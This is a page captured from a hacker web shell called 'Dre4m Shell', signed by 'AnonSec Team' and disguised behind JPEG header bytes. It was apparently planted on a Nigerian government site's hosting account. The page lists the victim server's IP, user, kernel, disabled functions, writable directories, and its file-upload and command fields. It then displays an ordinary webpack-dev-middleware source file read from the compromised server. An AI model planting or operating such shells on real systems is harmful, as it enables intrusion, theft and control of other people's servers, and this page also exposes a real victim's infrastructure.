ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.147.28.195
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/webpack-dev-middleware/dist/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/webpack-dev-middleware/dist/utils/setupWriteToDisk.js
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = setupWriteToDisk;

var _fs = _interopRequireDefault(require("fs"));

var _path = _interopRequireDefault(require("path"));

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function setupWriteToDisk(context) {
  const compilers = context.compiler.compilers || [context.compiler];

  for (const compiler of compilers) {
    compiler.hooks.emit.tap("DevMiddleware", compilation => {
      if (compiler.hasWebpackDevMiddlewareAssetEmittedCallback) {
        return;
      }

      compiler.hooks.assetEmitted.tapAsync("DevMiddleware", (file, info, callback) => {
        let targetPath = null;
        let content = null; // webpack@5

        if (info.compilation) {
          ({
            targetPath,
            content
          } = info);
        } else {
          let targetFile = file;
          const queryStringIdx = targetFile.indexOf("?");

          if (queryStringIdx >= 0) {
            targetFile = targetFile.substr(0, queryStringIdx);
          }

          let {
            outputPath
          } = compiler;
          outputPath = compilation.getPath(outputPath, {});
          content = info;
          targetPath = _path.default.join(outputPath, targetFile);
        }

        const {
          writeToDisk: filter
        } = context.options;
        const allowWrite = filter && typeof filter === "function" ? filter(targetPath) : true;

        if (!allowWrite) {
          return callback();
        }

        const dir = _path.default.dirname(targetPath);

        const name = compiler.options.name ? `Child "${compiler.options.name}": ` : "";
        return _fs.default.mkdir(dir, {
          recursive: true
        }, mkdirError => {
          if (mkdirError) {
            context.logger.error(`${name}Unable to write "${dir}" directory to disk:\n${mkdirError}`);
            return callback(mkdirError);
          }

          return _fs.default.writeFile(targetPath, content, writeFileError => {
            if (writeFileError) {
              context.logger.error(`${name}Unable to write "${targetPath}" asset to disk:\n${writeFileError}`);
              return callback(writeFileError);
            }

            context.logger.log(`${name}Asset written to disk: "${targetPath}"`);
            return callback();
          });
        });
      });
      compiler.hasWebpackDevMiddlewareAssetEmittedCallback = true;
    });
  }
}

Anon7 - 2022
AnonSec Team